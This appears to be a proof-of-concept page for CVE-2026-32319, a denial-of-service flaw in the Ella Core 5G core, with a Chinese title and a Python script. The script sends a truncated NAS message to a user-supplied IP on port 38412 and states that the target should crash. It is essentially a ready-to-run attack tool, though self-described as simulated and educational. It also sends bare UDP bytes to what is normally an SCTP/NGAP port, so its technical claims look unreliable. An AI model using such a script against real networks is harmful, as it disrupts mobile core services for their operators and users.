CVE-2026-32319: Ella Core 5G核心畸形NAS消息拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-32319 PoC - Ella Core malformed NAS message DoS Note: This is a simulated PoC for educational/research purposes """ import socket import struct def create_malformed_nas_message(): """Create a malformed NAS message with length < 7 bytes""" # Malformed integrity protected NAS message # Less than 7 bytes to trigger panic nas_message = b'\x00\x01\x02' return nas_message def send_exploit(target_ip, target_port=38412): """ Send malformed NAS message to trigger DoS in Ella Core """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) malformed_msg = create_malformed_nas_message() print(f"[*] Sending malformed NAS message ({len(malformed_msg)} bytes)") print(f"[*] Target: {target_ip}:{target_port}") sock.sendto(malformed_msg, (target_ip, target_port)) print("[+] Malformed message sent") print("[!] Target should crash due to panic") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 38412 send_exploit(target, port)